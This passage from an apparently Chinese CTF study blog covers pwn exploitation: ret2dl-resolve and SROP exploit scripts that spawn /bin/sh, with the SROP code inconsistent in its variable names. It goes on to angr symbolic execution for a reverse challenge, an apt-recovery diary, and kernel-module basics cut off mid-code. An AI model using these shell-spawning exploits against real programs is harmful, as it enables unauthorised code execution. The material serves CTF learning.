dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

模板

这里使用到了roputils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./pwn200')
context.log_level = 'debug'

rop = ROP('./pwn200')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100) #返回地址处自动加上了有ppp_ret的地址
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base) # dl_resolve_call第一个参数是Elf32_Rel的base,用来填上fake Rel结构体偏移的 第二个是*args,执行dl_resolve_call时函数的参数
r.send(buf)

buf = rop.string('/bin/sh') # /bin/sh是system参数
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system') # 这里同时填上了Elf32_Rel结构体和Elf32_sym结构体(base+20对应前面的base+20,注意)
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

不过在布置base的时候需要注意一下bss的内容还有一些对齐操作,必要时调试观察+修改一下base


参考链接:

https://bbs.pediy.com/thread-227034.htm

https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/

64位参考链接:https://xz.aliyun.com/t/5722#toc-2

高级栈溢出——SROP

查漏补缺233333

SROP

Sigreturn Oriented Programming

其中Unix-like system处理信号量的机制主要步骤分为如下:

当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1)
然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2)
当signal handler返回之后(3)
内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

ucontext

伪造时需要注意:esp,ebp和es,gs等段寄存器不可直接设置为0

保存上下文时保存的内容叫ucontext,具体对应如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
struct sigcontext	//x86
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

////////////////////////////////////////////////
struct _fpstate //x64
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

syscall

具体利用时需要的是调用sigreturn系统调用

1
2
3
4
5
6
/*for x86*/
mov eax,0x77
int 80h
/*for x86_64*/
mov rax,0xf
syscall

利用原理:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

比如当我们执行sigreturn系统调用之前栈布局是如下情况的话,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell

image-20200406192003998

链式利用原理:

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用

image-20200406192224800

利用条件

  1. 程序存在栈溢出漏洞
  2. 知道栈地址或者可以知道需要使用字符串的地址等
  3. 知道sigreturn的地址
  4. 知道syscall的地址或者syscall gadget地址

smallest

原理看上去挺好理解,还是直接实操吧

image-20200406194252445

程序没有canary和PIE保护

具体的程序就这么几行汇编代码:

1
2
3
4
5
6
xor     rax, rax
mov edx, 400h ; count
mov rsi, rsp ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
retn

然后加载进程序的时候只有这么几个寄存器被操作了,其余值均为0(Ubuntu16.04)

直接从rsp处读取了0x400个字节的栈内容,其中最主要还是需要知道怎么来构造出sigreturn的syscall操作

这里通过一个exp来学习一下:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'smallest' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
p.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; After read rax=1
## get stack addr
sh.send('\xb3') # 这一步很巧妙,只读了一个字节绕过 xor rax,rax 刚好把rax设置成1用于write leak栈地址
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read # constans直接获取SYS_read的系统调用号,这里为什么要通过sigframe链式利用stack_addr可能是因为这样比较好设置/bin/sh的偏移,直接通过leak到的地址来设置
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe) #先设置好sigframe,然后跳到start再读取一次
sh.send(payload)

# set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7 #这里相当于把前一步的aaaaaaaa(返回地址处)填充成p64(syscall_ret),然后把rax设置成0x15,直接调用syscall,就会用到我们的sigframe,这7个b似乎没有影响
#调用完之后会直接按照sigframe执行 read(0,stack_addr,0x400)
sh.send(sigreturn) # 这个时候就会直接往leak的stack_addr处读取0x400个字节,sigframe的长度是0x98

# call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()


p.interactive()

参考链接:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop

http://www.reshahar.com/2017/05/04/360%E6%98%A5%E7%A7%8B%E6%9D%AFsmallest-pwn%E7%9A%84%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%88%A9%E7%94%A8/

https://www.anquanke.com/post/id/85810

https://www.freebuf.com/articles/network/87447.html

自己学校新生杯一道逆向题引导的angr学习

前言

上学期在图书馆研究室偶然提到了自己协会办比赛可以给学弟学妹们拿学分的想法,我当时的想法是办可以办,就是题目可能得非常简单他们才能写,嘛不过事实确实是这样。可是有外校师傅一起加入之后就变的很活跃了,室友请了启奡师傅还有福州大学的师傅来出题,自己也在二进制方向放了一波签到题,举行了一次面向大一大二的新生杯,也拉了一些外校的师傅来打,整体办的还是蛮成功的,室友看上去也挺开心,这里专门用启奡师傅给的逆向来记一篇一直没有接触的angr的学习

题目

看来以后写博客得把题目链接也给上了,所以去github新建了一个用来放题目的仓库,题目链接

拿到题目之后首先用IDA脚本去花指令,这里用的是IDApython

1
2
3
4
5
6
7
8
9
10
11
ads = 0x4005B0

end = 0x401DC0

codes = get_bytes(ads, end-ads)

codes = codes.replace("\x74\x03\x75\x01\xe8\x90", "\x90\x90\x90\x90\x90\x90")

patch_bytes(ads, codes)

print "[+] patch ok"

得到函数之后可以发现是一个很长的线性执行流程,直接手动把整个流程一步步过肯定很麻烦了,当然要自己写脚本来简化

1585656430766

出题人wp写的思路是:

  1. 简单花指令的去除
  2. 在有限域上运算的简化

ps:在逆向的时候突然发现原来IDA可以按=映射变量,噗,我尼玛玩了这么久的IDA居然才知道

第一种解法:IDApython

其中一种解题方法是用IDApython来解,这里也学习了一些IDApython脚本的用法,具体脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def trans(xx, kk):
return [(x-kk) & 0xFF for x in xx]
def xor(xx, kk):
return [x^kk for x in xx]
def not_(xx):
return [~x for x in xx]

dt = [0xd9, 0x2c, 0x27, 0xd6, 0xd8, 0x2a, 0xda, 0x2d, 0xd7, 0x2c, 0xdc, 0xe1, 0xdb, 0x2c, 0xd9, 0xdd, 0x27, 0x2d, 0x2a, 0xdc, 0xdb, 0x2c, 0xe1, 0x29, 0xda, 0xda, 0x2c, 0xda, 0x2a, 0xd9, 0x29, 0x2a]

ads = 0x4005B0
end = 0x401DC0
i = PrevHead(end)
while i > ads: #获取不同的指令以及指令的操作数来进行求解
if GetMnem(i) == 'xor' and GetOpnd(i, 0) == 'byte ptr [rdx+rax+5]':
k = int(GetOpnd(i, 1).rstrip('h'), 16)
dt = xor(dt, k)
print("xor: {}".format(k))
if GetMnem(i) == 'add' and GetOpnd(i, 0) == 'byte ptr [rdx+rax+5]':
k = int(GetOpnd(i, 1).rstrip('h'), 16)
dt = trans(dt, k)
print("trans: {}".format(k))
if GetMnem(i) == 'not' and GetOpnd(i, 0) == 'byte ptr [rdx+rax+5]':
dt = not_(dt)
print("not: {}".format(k))
i = PrevHead(i)

print(dt)

第二种解法:angr

当然我这这篇文章主要要说的就是第二种解法了:angr求解

What is angr

首先angr是一个什么东西呢

angr is a suite of Python 3 libraries that let you load a binary and do a lot of cool things to it:

(angr是一个套用来加载二进制文件做一些很酷的事情的python3库)

具体可以用来做以下的一些事(虽然不知道大佬们把这些翻译成什么中文了,大致看看先)

  • Disassembly and intermediate-representation lifting
  • Program instrumentation
  • Symbolic execution
  • Control-flow analysis
  • Data-dependency analysis
  • Value-set analysis (VSA)
  • Decompilation

在使用之前强烈建议多了解一下符号执行的概念,要不然官方文档中很多英文还有概念可能会看不懂,特别是那些带数学符号的概念名词,不过细心一点看不会很难懂的。但是毕竟有些词语有些学术化,我也懒得用那么多俗语来解释了,下文只在一些重要地方做一些注释

例如:这篇文章

安装

安装环境:Ubuntu16.04

  1. 安装之前首先把自己默认的python3.5换成了python 3.7.1(编译安装)
  2. sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper
  3. mkvirtualenv --python=$(which python3) angr && pip install angr

其中virtualenvwrapper是一个Python虚拟环境,使用虚拟环境的主要原因是angr会修改libz3和libVEX

创建虚拟环境之后每次使用workondeactivate即可在真实与虚拟环境切换

使用&examples

这里用一个简单的例子来开始直接上手学习angr吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
char *sneaky = "SOSNEAKY";

int authenticate(char *username, char *password)
{
char stored_pw[9];
stored_pw[8] = 0;
int pwfile;

// evil back d00r
if (strcmp(password, sneaky) == 0) return 1;

pwfile = open(username, O_RDONLY);
read(pwfile, stored_pw, 8);

if (strcmp(password, stored_pw) == 0) return 1;
return 0;

}

int accepted()
{
printf("Welcome to the admin console, trusted user!\n");
}

int rejected()
{
printf("Go away!");
exit(1);
}

int main(int argc, char **argv)
{
char username[9];
char password[9];
int authed;

username[8] = 0;
password[8] = 0;

printf("Username: \n");
read(0, username, 8);
read(0, &authed, 1);
printf("Password: \n");
read(0, password, 8);
read(0, &authed, 1);

authed = authenticate(username, password);
if (authed) accepted();
else rejected();
}

这里程序给出了一个很简单的逻辑,具体是我们只要输入password"SOSNEAKY"就可以直接认证通过

然后这里是angr官网给出的solve.py,我在其中注释处做了一些补充笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python

import angr
import sys

# Look at fauxware.c! This is the source code for a "faux firmware" (@zardus
# really likes the puns) that's meant to be a simple representation of a
# firmware that can authenticate users but also has a backdoor - the backdoor
# is that anybody who provides the string "SOSNEAKY" as their password will be
# automatically authenticated.

def basic_symbolic_execution():
# We can use this as a basic demonstration of using angr for symbolic
# execution. First, we load the binary into an angr project.
# 这里先展示了一个很基础的符号执行,首先把对应的binary文件名填进一个angr Project
p = angr.Project('eg1',load_options={"auto_load_libs": False})
# 这里我加上了 "load_options={"auto_load_libs": False}"
# 在load了Project之后可以用p.loader.all_objects查看所有加载器已加载的对象

# Now, we want to construct a representation of symbolic program state.
# SimState objects are what angr manipulates when it symbolically executes
# binary code.
# SimState对象也主要保存着程序运行到某一阶段的状态信息。通过这个对象可以操作某一运行状态的上下文信息
# 比如内存,寄存器等

# 可以通过Project.factory这个容器中的任何一个方法来获取SimState对象,这个factory有多个构造函数
# 如:block、entry_state等。这里使用entry_state返回一个初始化到二进制entry point的SimState对象
# The entry_state constructor generates a SimState that is a very generic
# representation of the possible program states at the program's entry
# point. entry_state 主要是做一些初始化工作,然后在程序的入口处停下
# There are more constructors, like blank_state, which constructs a
# "blank slate" state that specifies as little concrete data as possible,
# or full_init_state, which performs a slow and pedantic initialization of
# program state as it would execute through the dynamic loader.
# 其中 full_init_state 会从动态链接时开始就记录

state = p.factory.entry_state()
# state对象一般是作为 符号执行开始前创建用来为后续的执行初始化一些数据,比如栈状态,寄存器值。
# 或者在 路径探索结束后 返回一个 state 对象供用户提取需要的值或进行约束求解
# 解出到达目标分支所使用的符号量的值。

# 当然了解了符号执行的概念之后就知道为什么有时候要默认在程序入口点停下了,毕竟我们暂时要分析的是程序的执行流

# Now, in order to manage the symbolic execution process from a very high
# level, we have a SimulationManager. SimulationManager is just collections
# of states with various tags attached with a number of convenient
# interfaces for managing them.

sm = p.factory.simulation_manager(state)
# 根据state设置 Simulation Managers ,这是一个进行路径探索的对象
# Uncomment the following line to spawn an IPython shell when the program
# gets to this point so you can poke around at the four objects we just
# constructed. Use tab-autocomplete and IPython's nifty feature where if
# you stick a question mark after the name of a function or method and hit
# enter, you are shown the documentation string for it.

# import IPython; IPython.embed()

# Now, we begin execution. This will symbolically execute the program until
# we reach a branch statement for which both branches are satisfiable.

sm.run(until=lambda sm_: len(sm_.active) > 1)
# 此示例代码采用的方法是用Simulation Managers的run方法
# 执行刚好出现 2个分支时就执行完毕,也就是我们后门函数的那个if条件被触发,此时程序产生两个执行分支,随即停止

# If you look at the C code, you see that the first "if" statement that the
# program can come across is comparing the result of the strcmp with the
# backdoor password. So, we have halted execution with two states, each of
# which has taken a different arm of that conditional branch. If you drop
# an IPython shell here and examine sm.active[n].solver.constraints
# you will see the encoding of the condition that was added to the state to
# constrain it to going down this path, instead of the other one. These are
# the constraints that will eventually be passed to our constraint solver
# (z3) to produce a set of concrete inputs satisfying them.

# As a matter of fact, we'll do that now.

input_0 = sm.active[0].posix.dumps(0)
input_1 = sm.active[1].posix.dumps(0)

# We have used a utility function on the state's posix plugin to perform a
# quick and dirty concretization of the content in file descriptor zero,
# stdin. One of these strings should contain the substring "SOSNEAKY"!

# 当然这里也可以选择把所有分支都打印出来看看,代码:
# for i in range(len(pathgroup.active)):
# print "possible %d: " % i, pathgroup.active[i].state.posix.dumps(0)
# 此时dump的就是字符串str
if b'SOSNEAKY' in input_0:
return input_0
else:
return input_1

def test():
r = basic_symbolic_execution()
assert b'SOSNEAKY' in r

if __name__ == '__main__':
sys.stdout.buffer.write(basic_symbolic_execution())

# You should be able to run this script and pipe its output to fauxware and
# fauxware will authenticate you.

其中在创建Project时有这么一个点要注意一下

auto_load_libs 设置是否自动载入依赖的库,如果设置为 True 的话会自动载入依赖的库,然后分析到库函数调用时也会进入库函数,这样会增加分析的工作量,也有能会跑挂

eg1的第二个solve代码:

1
2
3
4
5
6
7
8
proj = angr.Project('eg1')
state = proj.factory.entry_state()
while True:
succ = state.step() # 一次step记录一次执行分支的state
if len(succ.successors) == 2:#这个代码的意思也是在产生两个分支时停下,打印输出用上面代码的注释那段就好
break
state = succ.successors[0]
state1, state2 = succ.successors

这里step函数的返回值是 “an object called SimSuccessors

当然这里写法还有很多很多,具体强烈推荐参考官方文档,还有官方API文档,本博客在文末板块会尽量更新一下CTF中碰到的用法,限于英语原因很多原文中的core conception可能本人理解会有误

博主写到这里暂时感觉最好用的函数是这几个:

1
2
3
4
5
simgr.step()#这个就是上面代码中的,一个分支一个分支的记录也好像挺好用2333

sm.explore(find=0x400591) # 这个是直接设置符号执行遍历到哪个代码块停下来,很好用

simgr.explore(find=lambda s: b"Congrats" in s.posix.dumps(1))#这个是用标准输出中输出了什么来判断,直接用起来也很无脑

此道逆向题的angr解法

中间这些state操作建议先参考文末的设置&变量用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import angr
import claripy

p = angr.Project("./funre", load_options={"auto_load_libs": False})
f = p.factory
state = f.entry_state(addr=0x400605) # 设置state开始运行时运行到的地址
flag = claripy.BVS("flag", 8*32) #这里设置了一个flag VBS,长度是8*32bit
state.memory.store(0x603055+0x300+5, flag) #因为程序没有输入,所以直接把字符串设置到内存
state.regs.rdx = 0x603055+0x300
state.regs.rdi = 0x603055+0x300+5 # 然后设置两个寄存器

sm = p.factory.simulation_manager(state) # 准备从该state开始遍历执行路径

print("[+] init ok")

sm.explore(find=0x401DAE) # 遍历到成功的地址
if sm.found:
print("[+] found!")
x = sm.found[0].solver.eval(flag, cast_to=bytes)
print(x)

我跑下来大概只用了一两分钟时间不到?不过貌似还能加速,这里也介绍一下加速要用到的东西

加速模块安装


注意这里安装的方法本人安装失败了…介于之前装崩python的原因就暂时不继续探究原因了,只不过好像是一个什么版本的问题,具体参考这篇文章末尾

  1. sudo apt install pypy
  2. wget https://bootstrap.pypa.io/get-pip.py
  3. sudo pypy get-pip.py

第二种方法就是在init_state时加上add_options=angr.options.unicorn

angr中碰到的一些设置&变量用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
################## 设置操作
state.solver.BVV(1, 64) # 设置一个Bitvector 第一个参数是初始值 第二个参数是长度 也可以用下面简单的写法

args = claripy.BVS("args", 8 * 16) # 用claripy包设置一个符号变量(十六进制字符串)

weird_nine.zero_extend(64 - 27) # Bitvector长度转换 这里示意是从27->64

p.hook(addr=0x08048485, hook=hook_demo, length=2) # 设置一个hook,address是执行到什么地方之后hook,hook_demo代表一个函数,length是hook_demo执行之后需要跳过的指令长度
#具体的hook操作在以后会慢慢写到


################## state操作
state.regs.X # X代表要操作的寄存器,这里可以设置寄存器的值,此时寄存器的类型是一个Bitvector

hex(state.se.eval(state.regs.X)) # 想要获取寄存器Bitvector的int值需要使用eval函数来获取 BVS同理

state.mem[state.regs.rsp].qword # 获取某个寄存器指向的内存 可以看到这里mem的参数也是BVV
# 但是返回值是类似这种:<uint64_t <BV64 0xdeadbeefdeadbeef> at 0x7fffffffffeff78>
state.se.eval(xxx.qword.resolved) # 通过eval拿到此地址对应类型的确切值

state.memory.store(state.regs.rsp,data)
state.memory.load(state.regs.rsp, 0x40) # 这里可以直接通过地址来进行存储不一定要寄存器,满足BVV的操作就行

state.posix.dumps(0) # dump运行时标准输入


################# SimulationManager操作
sm = p.factory.simgr(state)
sm.explore(find=0x400591)
st = sm.found[0] # 通过found[0]拿到的是此时的state,可以再通过上面state的操作dump标准输入

st.se.eval(args,cast_to=str) # 当然如果用到了 BVS 的话就可以使用cast_to来转成普通字符串了

参考文章:https://www.secpulse.com/archives/83197.html

记录一次apt包误删后的恢复

愚人节的第一个惊喜???

昨天本来是换ubuntu16 py3环境的,先删掉了自己原生的py3,可惜脑残从网上复制命令的时候可能有一句autoremove之类的东西?我所有ubuntu原生与py3有关的apt包怕是全被删完…..当时删了600多M没在意,然后用的时候只是发现终端坏了,gedit没了,然后在终端还仅存的时候装上了gnome-terminal和gedit,现在想想都后怕,要是当时没装上还得在那个黑洞洞的Xterm里面重装

然后今天来操作的时候偶然一个什么操作触发了崩盘

image-20200401161311509

图形化界面几乎是崩了一半了,窗口也拖不动只有命令行和这个可怜的桌面上几个文件夹和我打交道(幸好终端滚动条还能用),开机可以正常开,不过此时可以看到网络是断开的:

image-20200401162339042

第一步:终端

发现Ctrl+Alt+T没反应了,不清楚具体什么原因,但是右键桌面幸好还是可以开启terminal

第二步:网络

首先我面临的问题不是命令使用不了了,正常命令我都可以使用,但是我需要的是用apt把这些包全都装回来

image-20200401162540191

直接ifconfig看的话就是这样的,下面是我的解决方案

sudo /sbin/dhclient(在这条命令之前好像还尝试启动了一些服务之类的,由于是操作到一半来记录的所以前面几条可能就没有了,不过这条是最有效的,因为使用了之后我直接就可以ping通DNS和baidu了,重启之后也是和上面显示的一样,但是直接使用这条命令的话就可以瞬间通网,神奇)

sudo service network-manager start

sudo gedit /etc/NetworkManager/NetworkManager.conf 把最后一行的false改成true,这下开机的时候就会自动有网了

第三步:开始琢磨apt包

桌面apt包

还是先sudo apt update && sudo apt upgrade

之前换源的文件倒是没事,照样可用,但是upgrade的时候有内容不能fetch,所以先进行下面的操作

sudo apt install compiz

sudo apt install unity

sudo apt install gdebi

sudo apt install ubuntu-desktop

sudo apt-get install --reinstall ubuntu-desktop(这个reinstall是照着敲的,也没多想)

这里还参考了知乎上的这篇回答

然后桌面系统就恢复正常了

重新启动一切正常,Ctrl+Alt+T也可以使用了

其他apt包(可能会长期更新)

sudo apt install libxslt-dev
sudo apt install libjpeg-dev
sudo apt install python-pip

后续

之后因为系统报错所以我还执行了这两条命令,虽然不知道有没有用

sudo service apport restart

sudo systemctl restart apport

kernel入门

编译驱动程序

hello.c


/usr/src/linux-headers-4.4.0-174/ –> 该内核源码目录
/usr/src/linux-headers-4.4.0-174-generic/ –> 该内核编译好的源码目录


切到/usr/src/linux-headers-4.4.0-174-generic路径

然后make menuconfig,我照着大致修改了一下有些没有开启的东西(乱开一通系列…)

切回我们第一个想编译的程序路径

第一个驱动程序hello.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
printk(KERN_ALERT "Hello, world\n");
return 0;

}

static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye, cruel world\n");

}

module_init(hello_init);
module_exit(hello_exit);//module_exit会将这个函数

Makefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# To build modules outside of the kernel tree, we run "make"
# in the kernel source tree; the Makefile these then includes this
# Makefile once again.
# This conditional selects whether we are being included from the
# kernel Makefile or not.
ifeq ($(KERNELRELEASE),)

# Assume the source tree is where the running kernel was built
# You should set KERNELDIR in the environment if it's elsewhere
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
# The current directory is passed to sub-makes as argument
PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules

modules_install:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install

clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

.PHONY: modules modules_install clean

else
# called from kernel build system: just declare what our modules are
obj-m := hello.o
endif

接着执行make

编译好了之后就可以在目录下看到这个文件(kenel object缩写)

1584795814785

使用sudo insmod hello.ko即可加载该驱动程序(模块) //此时会调用module_init设置的设备初始化函数

lsmod |grep hello可以看到驱动被成功加载

tail /var/log/syslog可以看到最后一行是程序的init加载就输出的内容

rmmod移除模块 //此时会调用module_exit设置的设备退出函数

tail /var/log/syslog也可以看到程序fini输出的内容了

IDA界面如下

1584962662551

其中printk似乎会在字符串前面加上一个1,左边就可以看到我们的驱动有init和exit两个函数了

在dev下增加驱动文件

参考来自:https://paper.seebug.org/779/#_2

这段代码很长,不过我主要只是理解了其中一个概念:struct file_operations scull_fops是啥

当然我当时编译的时候报错了,下面这段代码要加上一个这个,还有把raw_copy_...函数前面的raw_去掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamael");

int scull_major = 0;
int scull_minor = 0;
int scull_nr_devs = 4;
int scull_quantum = 4000;
int scull_qset = 1000;

struct scull_qset {
void **data;
struct scull_qset *next;
};

struct scull_dev {
struct scull_qset *data; /* Pointer to first quantum set. */
int quantum; /* The current quantum size. */
int qset; /* The current array size. */
unsigned long size; /* Amount of data stored here. */
unsigned int access_key; /* Used by sculluid and scullpriv. */
struct mutex mutex; /* Mutual exclusion semaphore. */
struct cdev cdev; /* Char device structure. */
};

struct scull_dev *scull_devices; /* allocated in scull_init_module */

/*
* Follow the list.
*/
struct scull_qset *scull_follow(struct scull_dev *dev, int n)
{
struct scull_qset *qs = dev->data;

/* Allocate the first qset explicitly if need be. */
if (! qs) {
qs = dev->data = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs == NULL)
return NULL;
memset(qs, 0, sizeof(struct scull_qset));
}

/* Then follow the list. */
while (n--) {
